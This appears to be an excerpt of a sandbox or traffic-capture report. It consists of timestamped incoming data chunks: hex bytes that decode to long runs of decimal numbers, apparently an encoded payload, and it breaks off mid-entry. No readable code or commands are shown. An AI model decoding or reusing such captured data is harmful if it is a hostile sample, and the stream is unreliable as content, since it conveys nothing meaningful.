2021-10-14 06:12:17 UTC 379 IN Data Raw: 38 20 31 30 39 20 39 36 20 31 32 36 20 31 32 35 20 35 30 20 33 33 20 36 33 20 34 31 20 37 30 20 31 34 30 
20 31 31 36 20 36 35 20 38 32 20 33 35 20 35 34 20 33 36 20 31 37 32 20 31 32 34 20 39 39 20 31 31 37 20 31 30 39 20 
31 32 32 20 32 32 36 20 33 34 20 35 30 20 35 34 20 37 39 20 39 30 20 39 37 20 31 30 39 20 31 31 32 20 35 36 20 32 34 
20 36 20 35 35 20 38 34 20 31 32 30 20 31 20 31 32 37 20 31 31 32 20 35 30 20 34 33 20 35 36 20 34 31 20 37 31 20 39 
37 20 31 32 30 20 31 30 39 20 39 37 20 36 33 20 34 37 20 35 36 20 32 30 30 20 38 35 20 39 34 20 31 30 30 20 31 32 33 
20 31 31 34 20 37 33 20 31 31 35 20 35 31 20 35 34 20 38 30 20 31 30 31 20 31 37 35 20 31 32 36 20 31 32 32 20 33 33 
20 35 33 20 34 35 20 36 31 20 37 31 20 31 32 37 20 31 31 37 20 31 32 34 20 
Data Ascii: 8 109 96 126 125 50 33 63 41 70 140 116 65 82 35 54 36 172 124 99 117 109 122 226 34 50 54 79 90 97 109 
112 56 24 6 55 84 120 1 127 112 50 43 56 41 71 97 120 109 97 63 47 56 200 85 94 100 123 114 73 115 51 54 80 101 175 
126 122 33 53 45 61 71 127 117 124 

2021-10-14 06:12:17 UTC 395 IN Data Raw: 20 35 32 20 34 38 20 37 32 20 31 38 32 20 38 34 20 31 32 34 20 31 31 31 20 31 30 39 20 31 31 32 20 35 31 
20 33 35 20 32 20 35 30 20 38 34 20 39 20 31 31 33 20 31 30 39 20 31 31 32 20 34 39 20 34 39 20 35 30 20 33 39 20 36 
36 20 39 37 20 39 38 20 38 35 20 32 38 20 35 34 20 34 38 20 35 30 20 35 34 20 36 39 20 31 30 31 20 31 30 36 20 39 38 
20 31 34 32 20 35 31 20 32 38 20 36 31 20 33 39 20 38 33 20 39 39 20 31 32 35 20 32 20 32 34 35 20 35 31 20 34 38 20 
35 36 20 33 37 20 39 33 20 31 30 39 20 31 30 31 20 31 32 36 20 31 30 33 20 35 30 20 33 33 20 33 37 20 34 31 20 37 33 
20 31 34 30 20 31 31 36 20 36 35 20 39 39 20 33 35 20 35 34 20 35 39 20 33 30 20 35 30 20 31 31 35 20 31 31 37 20 31 
30 33 20 33 31 20 31 39 37 20 34 39 20 35 30 20 34 38 20 37 31 20 31 32 37 
Data Ascii:  52 48 72 182 84 124 111 109 112 51 35 2 50 84 9 113 109 112 49 49 50 39 66 97 98 85 28 54 48 50 54 69 
101 106 98 142 51 28 61 39 83 99 125 2 245 51 48 56 37 93 109 101 126 103 50 33 37 41 73 140 116 65 99 35 54 59 30 
50 115 117 103 31 197 49 50 48 71 127

2021-10-14 06:12:17 UTC 411 IN Data Raw: 31 37 31 20 34 39 20 35 30 20 35 30 20 37 35 20 31 31 31 20 32 33 39 20 37 32 20 39 33 20 36 30 20 32 32 
20 34 35 20 34 33 20 31 31 36 20 32 33 36 20 31 31 36 20 31 30 39 20 31 31 32 20 33 37 20 32 34 20 33 31 20 35 32 20 
38 34 20 31 31 36 20 39 35 20 37 20 31 34 20 31 37 31 20 34 39 20 35 30 20 35 30 20 37 35 20 31 30 38 20 32 33 39 20 
37 32 20 39 33 20 36 30 20 32 32 20 34 35 20 34 30 20 31 31 36 20 32 33 37 20 31 31 36 20 31 30 39 20 31 31 32 20 34 
33 20 32 34 20 33 31 20 35 32 20 38 34 20 31 31 36 20 39 35 20 33 20 31 34 20 31 37 31 20 34 39 20 35 30 20 35 30 20 
37 35 20 31 30 39 20 32 33 39 20 37 32 20 39 33 20 36 31 20 32 32 20 34 35 20 34 31 20 31 31 36 20 32 30 38 20 31 31 
36 20 31 30 39 20 31 31 32 20 34 35 20 31 32 36 20 32 36 20 32 37 20 38 36 
Data Ascii: 171 49 50 50 75 111 239 72 93 60 22 45 43 116 236 116 109 112 37 24 31 52 84 116 95 7 14 171 49 50 50 75 
108 239 72 93 60 22 45 40 116 237 116 109 112 43 24 31 52 84 116 95 3 14 171 49 50 50 75 109 239 72 93 61 22 45 41 
116 208 116 109 112 45 126 26 27 86

2021-10-14 06:12:17 UTC 427 IN Data Raw: 30 32 20 31 30 39 20 31 31 32 20 35 30 20 31 36 20 31 39 39 20 36 32 20 38 34 20 31 31 34 20 31 30 36 20 
39 38 20 38 38 20 33 31 20 35 30 20 35 30 20 34 38 20 31 32 36 20 32 34 30 20 31 31 20 32 34 34 20 31 31 33 20 35 30 
20 35 32 20 31 38 20 32 34 36 20 38 34 20 31 31 34 20 31 31 37 20 32 34 37 20 38 35 20 33 31 20 33 33 20 32 30 20 32 
32 20 31 34 38 20 31 31 34 20 31 31 37 20 31 30 39 20 38 30 20 35 34 20 35 37 20 35 30 20 35 34 20 37 39 20 39 30 20 
38 38 20 31 31 31 20 31 31 32 20 35 32 20 32 36 20 31 38 30 20 37 32 20 32 30 35 20 31 31 35 20 31 31 37 20 31 30 35 
20 38 30 20 32 34 33 20 34 38 20 35 30 20 35 34 20 32 30 36 20 38 37 20 38 38 20 31 32 37 20 38 36 20 31 38 20 32 34 
31 20 35 30 20 35 34 20 38 34 20 38 32 20 31 32 34 20 31 30 30 20 31 31 32 
Data Ascii: 02 109 112 50 16 199 62 84 114 106 98 88 31 50 50 48 126 240 11 244 113 50 52 18 246 84 114 117 247 85 
31 33 20 22 148 114 117 109 80 54 57 50 54 79 90 88 111 112 52 26 180 72 205 115 117 105 80 243 48 50 54 206 87 88 
127 86 18 241 50 54 84 82 124 100 112

2021-10-14 06:12:17 UTC 443 IN Data Raw: 35 34 20 32 32 20 32 37 20 31 31 35 20 31 31 37 20 31 30 39 20 32 33 34 20 32 33 20 32 39 20 33 32 20 31 
36 20 31 31 36 20 36 31 20 31 31 36 20 31 30 39 20 31 31 32 20 31 38 20 31 35 35 20 33 33 20 35 34 20 38 34 20 31 30 
39 20 31 31 30 20 36 39 20 39 33 20 34 38 20 34 38 20 35 32 20 32 38 20 32 31 30 20 31 32 20 32 33 36 20 31 30 38 20 
31 31 32 20 35 34 20 31 36 20 39 38 20 35 35 20 38 34 20 31 31 34 20 32 33 39 20 37 32 20 39 33 20 33 32 20 32 32 20 
31 38 20 31 30 32 20 38 35 20 31 31 34 20 31 31 37 20 37 37 20 31 38 32 20 33 33 20 34 38 20 35 30 20 34 31 20 31 31 
32 20 39 30 20 38 38 20 31 31 31 20 31 31 32 20 35 32 20 32 36 20 31 37 36 20 37 32 20 32 30 35 20 31 31 35 20 31 31 
37 20 31 30 35 20 38 30 20 39 39 20 34 39 20 35 30 20 35 34 20 32 30 36 20 
Data Ascii: 54 22 27 115 117 109 234 23 29 32 16 116 61 116 109 112 18 155 33 54 84 109 110 69 93 48 48 52 28 210 12 
236 108 112 54 16 98 55 84 114 239 72 93 32 22 18 102 85 114 117 77 182 33 48 50 41 112 90 88 111 112 52 26 176 72 
205 115 117 105 80 99 49 50 54 206 

2021-10-14 06:12:17 UTC 459 IN Data Raw: 32 34 33 20 31 39 20 32 33 33 20 35 31 20 34 38 20 35 34 20 32 32 20 31 33 39 20 31 31 35 20 31 31 37 20 
31 30 39 20 32 33 34 20 32 33 20 32 39 20 33 32 20 31 36 20 31 31 36 20 31 37 33 20 31 31 36 20 31 30 39 20 31 31 32 
20 31 38 20 34 36 20 34 31 20 35 34 20 38 34 20 31 30 39 20 38 36 20 36 39 20 39 33 20 34 38 20 34 38 20 35 32 20 32 
38 20 32 31 34 20 31 32 20 32 33 36 20 31 30 38 20 31 31 32 20 35 34 20 31 36 20 32 31 30 20 35 35 20 38 34 20 31 31 
34 20 32 33 39 20 37 32 20 39 33 20 33 35 20 32 32 20 31 38 20 32 31 34 20 38 35 20 31 31 34 20 31 31 37 20 37 37 20 
34 39 20 34 31 20 34 38 20 35 30 20 34 37 20 31 32 34 20 39 35 20 31 31 39 20 31 30 39 20 31 31 38 20 32 34 20 31 37 
38 20 37 36 20 31 37 35 20 38 35 20 31 31 34 20 31 31 33 20 37 37 20 31 34 
Data Ascii: 243 19 233 51 48 54 22 139 115 117 109 234 23 29 32 16 116 173 116 109 112 18 46 41 54 84 109 86 69 93 
48 48 52 28 214 12 236 108 112 54 16 210 55 84 114 239 72 93 35 22 18 214 85 114 117 77 49 41 48 50 47 124 95 119 1
09 118 24 178 76 175 85 114 113 77 14

2021-10-14 06:12:17 UTC 475 IN Data Raw: 35 30 20 35 30 20 35 34 20 31 31 36 20 32 30 38 20 38 31 20 31 30 39 20 31 31 32 20 34 35 20 33 33 20 32 
36 20 32 37 20 38 36 20 31 31 34 20 31 31 35 20 37 31 20 32 34 32 20 37 36 20 31 36 39 20 35 31 20 35 34 20 38 30 20 
38 32 20 35 20 31 31 31 20 31 31 32 20 35 30 20 31 37 30 20 32 33 20 32 37 20 36 39 20 38 34 20 38 35 20 32 39 20 31 
31 34 20 35 30 20 34 38 20 31 38 20 31 33 33 20 31 31 32 20 31 31 34 20 31 31 37 20 31 31 35 20 38 38 20 33 31 20 35 
30 20 35 30 20 34 38 20 31 32 36 20 32 34 34 20 31 31 20 32 34 34 20 31 31 33 20 35 30 20 35 32 20 31 38 20 37 31 20 
38 36 20 31 31 34 20 31 31 37 20 32 34 37 20 38 35 20 33 31 20 33 34 20 32 30 20 32 32 20 33 37 20 31 31 32 20 31 31 
37 20 31 30 39 20 38 30 20 31 33 37 20 32 30 20 35 30 20 35 34 20 37 35 20 
Data Ascii: 50 50 54 116 208 81 109 112 45 33 26 27 86 114 115 71 242 76 169 51 54 80 82 5 111 112 50 170 23 27 69 
84 85 29 114 50 48 18 133 112 114 117 115 88 31 50 50 48 126 244 11 244 113 50 52 18 71 86 114 117 247 85 31 34 20 
22 37 112 117 109 80 137 20 50 54 75 
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2021-10-14 06:12:17 UTC 491 IN Data Raw: 38 30 20 38 32 20 31 33 38 20 31 31 31 20 31 31 32 20 35 30 20 31 37 30 20 32 33 20 32 37 20 37 30 20 38 
34 20 38 35 20 31 34 36 20 31 31 34 20 35 30 20 34 38 20 31 38 20 32 31 34 20 31 32 30 20 31 31 34 20 31 31 37 20 31 
31 34 20 31 32 36 20 32 36 20 32 39 20 34 38 20 35 34 20 38 32 20 38 38 20 32 34 33 20 31 39 20 32 33 33 20 35 31 20 
34 38 20 35 34 20 32 32 20 38 34 20 31 31 33 20 31 31 37 20 31 30 39 20 32 33 34 20 32 33 20 32 39 20 33 32 20 31 36 
20 31 31 36 20 31 31 34 20 31 31 38 20 31 30 39 20 31 31 32 20 31 38 20 32 32 32 20 33 30 20 35 34 20 38 34 20 31 30 
39 20 31 32 37 20 36 39 20 39 33 20 34 38 20 34 38 20 35 32 20 32 38 20 32 31 34 20 31 32 20 32 33 36 20 31 30 38 20 
31 31 32 20 35 34 20 31 36 20 35 31 20 35 33 20 38 34 20 31 31 34 20 32 33 
Data Ascii: 80 82 138 111 112 50 170 23 27 70 84 85 146 114 50 48 18 214 120 114 117 114 126 26 29 48 54 82 88 243 
19 233 51 48 54 22 84 113 117 109 234 23 29 32 16 116 114 118 109 112 18 222 30 54 84 109 127 69 93 48 48 52 28 214 
12 236 108 112 54 16 51 53 84 114 23

2021-10-14 06:12:17 UTC 507 IN Data Raw: 35 20 37 20 31 33 20 38 37 20 31 30 39 20 36 34 20 37 37 20 37 36 20 31 35 20 34 20 35 36 20 35 32 20 31 
31 35 20 36 36 20 31 37 33 20 32 33 30 20 31 35 36 20 32 35 30 20 32 33 34 20 32 35 32 20 31 39 38 20 32 30 32 20 32 
33 30 20 32 33 30 20 31 34 32 20 31 38 35 20 32 33 30 20 32 34 38 20 32 35 31 20 32 34 36 20 31 37 38 20 31 33 38 20 
31 36 35 20 31 36 36 20 31 36 31 20 32 32 34 20 32 33 33 20 32 31 31 20 32 30 39 20 31 34 38 20 31 36 37 20 31 38 32 
20 32 35 31 20 31 33 31 20 32 33 31 20 32 34 31 20 32 31 37 20 32 32 38 20 31 38 39 20 31 34 39 20 31 35 39 20 31 33 
35 20 31 33 32 20 32 33 36 20 32 32 34 20 32 33 30 20 32 31 35 20 31 36 37 20 31 34 35 20 32 31 30 20 31 36 30 20 31 
33 35 20 31 39 39 20 31 39 37 20 32 33 32 20 32 32 31 20 31 37 31 20 31 35 
Data Ascii: 5 7 13 87 109 64 77 76 15 4 56 52 115 66 173 230 156 250 234 252 198 202 230 230 142 185 230 248 251 246 
178 138 165 166 161 224 233 211 209 148 167 182 251 131 231 241 217 228 189 149 159 135 132 236 224 230 215 167 
145 210 160 135 199 197 232 221 171 15

2021-10-14 06:12:17 UTC 523 IN Data Raw: 31 35 20 32 33 20 31 32 30 20 37 35 20 31 32 37 20 38 39 20 38 38 20 31 39 20 36 20 36 20 32 32 20 31 31 
32 20 38 39 20 38 34 20 39 36 20 39 37 20 34 34 20 34 39 20 35 32 20 34 33 20 39 34 20 31 32 34 20 31 32 32 20 31 32 
32 20 31 30 39 20 35 34 20 36 32 20 34 39 20 35 30 20 36 39 20 31 31 37 20 31 33 31 20 31 34 39 20 31 38 33 20 32 35 
33 20 32 33 34 20 32 33 34 20 32 35 31 20 31 33 39 20 31 38 31 20 31 33 38 20 31 34 30 20 31 38 30 20 32 33 30 20 32 
34 38 20 32 34 30 20 32 35 32 20 31 35 30 20 31 34 39 20 31 33 39 20 31 38 37 20 31 38 32 20 32 32 34 20 32 33 37 20 
32 33 30 20 32 33 32 20 31 38 37 20 31 34 38 20 32 34 37 20 32 34 35 20 32 34 36 20 31 39 32 20 32 33 34 20 31 39 32 
20 32 30 38 20 31 38 39 20 31 34 36 20 31 35 31 20 31 37 38 20 31 35 37 20 
Data Ascii: 15 23 120 75 127 89 88 19 6 6 22 112 89 84 96 97 44 49 52 43 94 124 122 122 109 54 62 49 50 69 117 131 
149 183 253 234 234 251 139 181 138 140 180 230 248 240 252 150 149 139 187 182 224 237 230 232 187 148 247 245 
246 192 234 192 208 189 146 151 178 157 

2021-10-14 06:12:17 UTC 539 IN Data Raw: 31 35 38 20 31 30 37 20 31 32 33 20 39 31 20 33 32 20 34 38 20 32 32 39 20 31 38 20 36 36 20 38 39 20 31 
30 33 20 31 30 39 20 31 39 34 20 32 34 20 35 20 33 31 20 33 36 20 38 34 20 32 34 34 20 37 30 20 31 32 33 20 39 31 20 
33 32 20 34 38 20 34 36 20 33 30 20 36 36 20 38 39 20 31 31 35 20 31 30 39 20 31 34 30 20 34 34 20 31 34 34 20 34 30 
20 34 38 20 38 34 20 32 31 30 20 31 30 37 20 32 30 35 20 31 30 36 20 35 32 20 34 38 20 31 34 20 35 37 20 32 34 34 20 
31 30 34 20 31 30 33 20 31 30 39 20 32 34 31 20 34 37 20 32 33 36 20 35 38 20 33 36 20 38 34 20 39 37 20 31 30 31 20 
31 37 37 20 31 32 30 20 37 33 20 35 30 20 31 33 35 20 34 33 20 38 34 20 31 31 34 20 31 31 35 20 31 30 39 20 31 37 39 
20 33 38 20 31 30 33 20 32 20 34 38 20 38 34 20 39 38 20 38 37 20 34 36 20 
Data Ascii: 158 107 123 91 32 48 229 18 66 89 103 109 194 24 5 31 36 84 244 70 123 91 32 48 46 30 66 89 115 109 140 
44 144 40 48 84 210 107 205 106 52 48 14 57 244 104 103 109 241 47 236 58 36 84 97 101 177 120 73 50 135 43 84 114 
115 109 179 38 103 2 48 84 98 87 46 

2021-10-14 06:12:17 UTC 555 IN Data Raw: 31 31 34 20 31 31 37 20 31 30 39 20 31 31 32 20 33 35 20 34 38 20 31 35 33 20 34 39 20 32 31 30 20 31 31 
34 20 31 31 38 20 31 30 39 20 31 36 38 20 32 38 20 34 38 20 35 30 20 35 34 20 38 34 20 31 30 30 20 31 31 37 20 32 35 
30 20 31 31 33 20 31 31 32 20 35 32 20 34 39 20 35 34 20 31 33 32 20 39 33 20 31 31 37 20 31 30 39 20 31 31 32 20 35 
30 20 33 38 20 35 30 20 39 34 20 38 36 20 32 34 34 20 31 31 37 20 31 31 30 20 31 31 32 20 31 32 32 20 30 20 35 30 20 
35 34 20 38 34 20 31 31 34 20 39 39 20 31 30 39 20 32 33 31 20 35 31 20 31 38 33 20 35 34 20 35 33 20 38 34 20 31 36 
36 20 36 39 20 31 30 39 20 31 31 32 20 35 30 20 34 38 20 33 36 20 35 34 20 31 39 35 20 31 31 35 20 32 33 33 20 31 30 
35 20 31 31 35 20 35 30 20 34 34 20 33 20 35 34 20 38 34 20 31 31 34 20 31 
Data Ascii: 114 117 109 112 35 48 153 49 210 114 118 109 168 28 48 50 54 84 100 117 250 113 112 52 49 54 132 93 117 
109 112 50 38 50 94 86 244 117 110 112 122 0 50 54 84 114 99 109 231 51 183 54 53 84 166 69 109 112 50 48 36 54 19
5 115 233 105 115 50 44 3 54 84 114 1

2021-10-14 06:12:17 UTC 571 IN Data Raw: 32 20 31 36 20 35 34 20 38 34 20 31 31 34 20 31 31 37 20 31 30 37 20 31 30 34 20 31 35 20 32 31 20 33 33 
20 35 34 20 33 20 31 31 34 20 32 39 20 33 35 20 31 31 33 20 35 30 20 34 38 20 35 30 20 33 39 20 38 34 20 32 32 39 20 
31 31 36 20 31 39 30 20 31 31 30 20 31 30 31 20 34 38 20 31 39 38 20 31 32 30 20 38 35 20 31 31 34 20 31 31 37 20 31 
30 39 20 39 39 20 35 30 20 31 36 37 20 35 31 20 32 32 30 20 38 36 20 33 37 20 31 31 37 20 31 30 31 20 33 34 20 35 31 
20 34 38 20 35 30 20 35 34 20 38 32 20 31 30 36 20 37 32 20 37 32 20 31 30 38 20 34 35 20 31 30 33 20 35 30 20 31 32 
36 20 36 20 31 31 35 20 31 31 37 20 31 30 39 20 31 31 32 20 35 32 20 35 36 20 31 36 30 20 35 38 20 32 39 20 31 31 35 
20 33 34 20 31 30 39 20 31 32 20 39 36 20 34 39 20 35 30 20 35 34 20 38 34 
Data Ascii: 2 16 54 84 114 117 107 104 15 21 33 54 3 114 29 35 113 50 48 50 39 84 229 116 190 110 101 48 198 120 85 
114 117 109 99 50 167 51 220 86 37 117 101 34 51 48 50 54 82 106 72 72 108 45 103 50 126 6 115 117 109 112 52 56 1
60 58 29 115 34 109 12 96 49 50 54 84

2021-10-14 06:12:17 UTC 587 IN Data Raw: 33 31 20 35 31 20 31 37 38 20 31 31 32 20 38 20 31 30 39 20 32 35 33 20 36 32 20 35 30 20 35 30 20 35 34 
20 38 34 20 32 32 38 20 31 31 37 20 36 35 20 36 35 20 32 31 32 20 35 30 20 37 39 20 35 34 20 32 35 30 20 31 32 36 20 
31 31 39 20 31 30 39 20 31 31 32 20 35 30 20 31 36 36 20 35 30 20 32 31 38 20 38 31 20 31 34 38 20 31 31 39 20 31 36 
20 31 31 32 20 32 35 33 20 36 30 20 34 38 20 35 34 20 38 34 20 31 31 34 20 32 32 37 20 31 30 39 20 32 32 36 20 33 20 
32 31 34 20 34 38 20 37 35 20 38 34 20 31 33 30 20 31 32 31 20 31 31 31 20 31 31 32 20 35 30 20 34 38 20 31 36 34 20 
35 34 20 36 36 20 31 31 36 20 31 34 37 20 31 31 31 20 31 33 20 35 30 20 33 33 20 36 33 20 35 32 20 38 34 20 31 31 34 
20 31 31 37 20 32 35 31 20 31 31 32 20 31 32 32 20 32 20 32 31 32 20 35 32 
Data Ascii: 31 51 178 112 8 109 253 62 50 50 54 84 228 117 65 65 212 50 79 54 250 126 119 109 112 50 166 50 218 81 
148 119 16 112 253 60 48 54 84 114 227 109 226 3 214 48 75 84 130 121 111 112 50 48 164 54 66 116 147 111 13 50 33 
63 52 84 114 117 251 112 122 2 212 52

2021-10-14 06:12:17 UTC 603 IN Data Raw: 35 34 20 31 38 37 20 31 30 30 20 31 34 37 20 31 31 31 20 31 33 20 35 30 20 32 34 39 20 31 30 20 35 32 20 
38 34 20 31 31 34 20 31 31 37 20 32 35 31 20 31 31 32 20 36 37 20 35 31 20 32 31 32 20 35 32 20 34 31 20 31 31 34 20 
31 35 39 20 38 35 20 31 31 34 20 35 30 20 34 38 20 35 30 20 31 36 30 20 38 34 20 39 34 20 39 38 20 31 33 39 20 31 31 
34 20 37 39 20 34 38 20 35 37 20 31 35 20 38 36 20 31 31 34 20 31 31 37 20 31 30 39 20 32 33 30 20 35 30 20 31 37 31 
20 34 39 20 32 30 38 20 38 36 20 31 35 20 31 31 37 20 36 34 20 37 33 20 34 38 20 34 38 20 35 30 20 35 34 20 31 39 34 
20 31 31 34 20 32 33 39 20 31 32 32 20 31 35 30 20 34 38 20 37 37 20 35 30 20 31 32 31 20 31 30 39 20 31 31 32 20 31 
31 37 20 31 30 39 20 31 31 32 20 31 36 34 20 34 38 20 32 31 35 20 35 33 20 
Data Ascii: 54 187 100 147 111 13 50 249 10 52 84 114 117 251 112 67 51 212 52 41 114 159 85 114 50 48 50 160 84 94 
98 139 114 79 48 57 15 86 114 117 109 230 50 171 49 208 86 15 117 64 73 48 48 50 54 194 114 239 122 150 48 77 50 1
21 109 112 117 109 112 164 48 215 53 
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2021-10-14 06:12:17 UTC 619 IN Data Raw: 38 20 35 30 20 35 35 20 38 34 20 34 32 20 31 30 32 20 31 30 39 20 31 31 32 20 35 31 20 34 38 20 31 30 36 
20 33 37 20 38 34 20 31 31 34 20 31 31 36 20 31 30 39 20 34 30 20 33 33 20 34 38 20 35 30 20 35 35 20 38 34 20 34 32 
20 31 30 32 20 31 30 39 20 31 31 32 20 35 31 20 34 38 20 31 30 36 20 33 37 20 38 34 20 31 31 34 20 31 31 36 20 31 30 
39 20 34 30 20 33 33 20 34 38 20 35 30 20 35 35 20 38 34 20 34 32 20 31 30 32 20 31 30 38 20 31 31 32 20 35 31 20 34 
38 20 35 30 20 35 34 20 38 35 20 31 31 34 20 31 31 39 20 31 30 39 20 31 31 32 20 35 30 20 34 39 20 35 30 20 35 30 20 
38 34 20 31 31 34 20 31 31 37 20 31 31 31 20 31 31 32 20 35 35 20 34 38 20 35 30 20 35 34 20 38 35 20 31 31 34 20 31 
31 36 20 31 30 39 20 31 31 32 20 35 30 20 34 39 20 35 30 20 35 32 20 38 34 
Data Ascii: 8 50 55 84 42 102 109 112 51 48 106 37 84 114 116 109 40 33 48 50 55 84 42 102 109 112 51 48 106 37 84 
114 116 109 40 33 48 50 55 84 42 102 108 112 51 48 50 54 85 114 119 109 112 50 49 50 50 84 114 117 111 112 55 48 
50 54 85 114 116 109 112 50 49 50 52 84

2021-10-14 06:12:17 UTC 635 IN Data Raw: 32 20 37 32 20 37 32 20 39 39 20 35 30 20 31 37 20 35 38 20 31 31 20 31 31 33 20 39 37 20 31 31 37 20 33 
33 20 31 31 33 20 32 33 20 32 31 20 32 34 35 20 34 39 20 35 36 20 31 31 35 20 31 39 34 20 36 37 20 32 32 34 20 35 30 
20 33 33 20 35 31 20 37 31 20 37 36 20 34 35 20 31 31 35 20 31 32 34 20 31 31 33 20 32 38 20 32 38 20 32 34 37 20 35 
31 20 35 36 20 31 31 35 20 35 39 20 39 33 20 38 35 20 35 34 20 38 31 20 34 38 20 31 39 32 20 39 33 20 31 35 32 20 31 
31 39 20 32 38 20 31 31 37 20 39 31 20 34 32 20 36 39 20 32 39 20 31 33 33 20 31 31 32 20 32 31 31 20 39 34 20 35 36 
20 33 30 20 32 35 20 35 38 20 31 31 20 31 31 33 20 31 37 38 20 31 31 37 20 32 35 20 31 31 33 20 31 36 35 20 34 39 20 
32 31 30 20 35 35 20 33 32 20 31 31 35 20 32 32 36 20 31 30 38 20 32 30 39 
Data Ascii: 2 72 72 99 50 17 58 11 113 97 117 33 113 23 21 245 49 56 115 194 67 224 50 33 51 71 76 45 115 124 113 28 
28 247 51 56 115 59 93 85 54 81 48 192 93 152 119 28 117 91 42 69 29 133 112 211 94 56 30 25 58 11 113 178 117 25 
113 165 49 210 55 32 115 226 108 209

2021-10-14 06:12:17 UTC 651 IN Data Raw: 20 36 38 20 39 31 20 38 39 20 35 38 20 33 39 20 36 30 20 34 31 20 31 31 32 20 38 35 20 38 35 20 37 30 20 
31 30 35 20 31 38 20 32 39 20 37 20 30 20 31 37 20 37 30 20 31 32 31 20 31 31 38 20 35 34 20 35 33 20 35 34 20 31 31 
37 20 31 35 20 35 32 20 35 30 20 38 33 20 31 31 38 20 35 34 20 34 38 20 35 34 20 31 31 37 20 38 20 35 32 20 35 30 20 
38 36 20 31 31 38 20 35 34 20 35 31 20 35 34 20 31 31 37 20 35 20 35 32 20 35 30 20 31 31 34 20 31 31 39 20 35 34 20 
31 39 20 32 33 20 31 20 33 37 20 35 37 20 31 32 34 20 39 39 20 31 30 32 20 31 31 39 20 32 36 20 34 39 20 34 38 20 31 
30 39 20 35 32 20 31 31 39 20 34 38 20 31 31 39 20 31 31 35 20 38 34 20 35 32 20 34 38 20 31 30 39 20 35 35 20 31 31 
39 20 34 38 20 31 32 32 20 31 31 35 20 38 34 20 31 39 20 34 38 20 31 30 39 
Data Ascii:  68 91 89 58 39 60 41 112 85 85 70 105 18 29 7 0 17 70 121 118 54 53 54 117 15 52 50 83 118 54 48 54 117 8 
52 50 86 118 54 51 54 117 5 52 50 114 119 54 19 23 1 37 57 124 99 102 119 26 49 48 109 52 119 48 119 115 84 52 48 
109 55 119 48 122 115 84 19 48 109

2021-10-14 06:12:17 UTC 667 IN Data Raw: 36 20 39 32 20 38 34 20 32 33 20 33 31 20 31 30 39 20 32 32 20 38 38 20 34 38 20 38 35 20 39 32 20 38 34 
20 34 38 20 33 30 20 31 30 39 20 35 31 20 38 39 20 34 38 20 31 31 38 20 39 33 20 38 34 20 35 35 20 33 30 20 31 30 39 
20 35 34 20 38 39 20 34 38 20 31 31 37 20 39 33 20 38 34 20 35 38 20 33 30 20 31 30 39 20 31 37 20 38 39 20 34 38 20 
38 30 20 39 33 20 38 34 20 35 31 20 36 20 32 30 20 33 30 20 38 31 20 31 31 35 20 38 33 20 39 30 20 35 36 20 31 36 20 
32 30 20 31 34 20 32 37 20 35 30 20 38 37 20 38 37 20 36 36 20 31 31 20 34 39 20 32 30 20 32 39 20 33 20 31 32 36 20 
39 35 20 38 31 20 39 33 20 38 34 20 33 38 20 37 20 31 32 20 33 30 20 36 35 20 38 36 20 39 33 20 36 38 20 35 37 20 35 
32 20 32 38 20 33 20 31 37 20 39 34 20 31 31 34 20 39 34 20 38 39 20 35 35 
Data Ascii: 6 92 84 23 31 109 22 88 48 85 92 84 48 30 109 51 89 48 118 93 84 55 30 109 54 89 48 117 93 84 58 30 109 
17 89 48 80 93 84 51 6 20 30 81 115 83 90 56 16 20 14 27 50 87 87 66 11 49 20 29 3 126 95 81 93 84 38 7 12 30 65 86 
93 68 57 52 28 3 17 94 114 94 89 55

2021-10-14 06:12:17 UTC 683 IN Data Raw: 30 20 34 38 20 31 32 37 20 38 37 20 35 38 20 31 39 20 31 38 20 38 20 32 39 20 38 37 20 39 34 20 37 30 20 
31 32 31 20 35 34 20 32 34 20 31 36 20 31 34 20 34 20 35 30 20 31 32 36 20 39 33 20 36 36 20 32 37 20 31 36 20 33 31 
20 38 20 31 39 20 37 30 20 34 38 20 31 32 37 20 36 37 20 35 36 20 36 20 32 38 20 32 39 20 32 38 20 37 35 20 31 32 37 
20 38 30 20 39 32 20 34 39 20 31 37 20 31 20 31 30 39 20 33 20 38 37 20 36 38 20 31 30 39 20 31 30 31 20 33 33 20 31 
36 20 33 31 20 38 20 31 39 20 37 30 20 34 38 20 31 31 33 20 38 39 20 35 38 20 32 38 20 31 36 20 31 34 20 34 20 35 30 
20 36 37 20 38 37 20 36 36 20 31 31 20 35 31 20 32 35 20 31 20 33 31 20 36 39 20 31 31 33 20 37 31 20 36 36 20 35 39 
20 33 32 20 31 36 20 39 20 32 35 20 36 34 20 38 35 20 38 31 20 36 36 20 38 
Data Ascii: 0 48 127 87 58 19 18 8 29 87 94 70 121 54 24 16 14 4 50 126 93 66 27 16 31 8 19 70 48 127 67 56 6 28 29 28 
75 127 80 92 49 17 1 109 3 87 68 109 101 33 16 31 8 19 70 48 113 89 58 28 16 14 4 50 67 87 66 11 51 25 1 31 69 113 
71 66 59 32 16 9 25 64 85 81 66 8

2021-10-14 06:12:17 UTC 699 IN Data Raw: 31 31 35 20 35 35 20 31 36 20 35 31 20 35 36 20 37 33 20 31 31 33 20 31 31 39 20 31 31 32 20 31 31 37 20 
35 32 20 34 38 20 34 38 20 34 32 20 37 32 20 39 36 20 36 34 20 31 30 37 20 31 31 32 20 34 38 20 34 35 20 35 35 20 35 
36 20 39 30 20 31 31 37 20 31 31 34 20 31 31 30 20 31 30 39 20 35 35 20 34 35 20 35 35 20 36 32 20 39 32 20 31 31 34 
20 31 31 39 20 31 31 32 20 31 31 37 20 34 37 20 35 33 20 34 37 20 35 31 20 31 32 20 31 31 37 20 39 35 20 31 32 30 20 
39 38 20 31 37 36 20 35 37 20 34 38 20 35 36 20 39 30 20 31 30 33 20 31 30 33 20 32 33 39 20 31 32 31 20 34 38 20 36 
32 20 36 30 20 36 32 20 39 32 20 31 31 31 20 31 31 32 20 31 31 32 20 31 31 37 20 36 30 20 34 35 20 35 35 20 36 32 20 
39 32 20 31 31 31 20 31 31 32 20 31 31 33 20 31 30 38 20 33 32 20 31 37 38 
Data Ascii: 115 55 16 51 56 73 113 119 112 117 52 48 48 42 72 96 64 107 112 48 45 55 56 90 117 114 110 109 55 45 55 
62 92 114 119 112 117 47 53 47 51 12 117 95 120 98 176 57 48 56 90 103 103 239 121 48 62 60 62 92 111 112 112 117 
60 45 55 62 92 111 112 113 108 32 178

2021-10-14 06:12:17 UTC 715 IN Data Raw: 39 36 20 31 20 31 30 31 20 31 31 38 20 33 39 20 33 34 20 31 37 36 20 36 33 20 38 36 20 31 32 34 20 31 30 
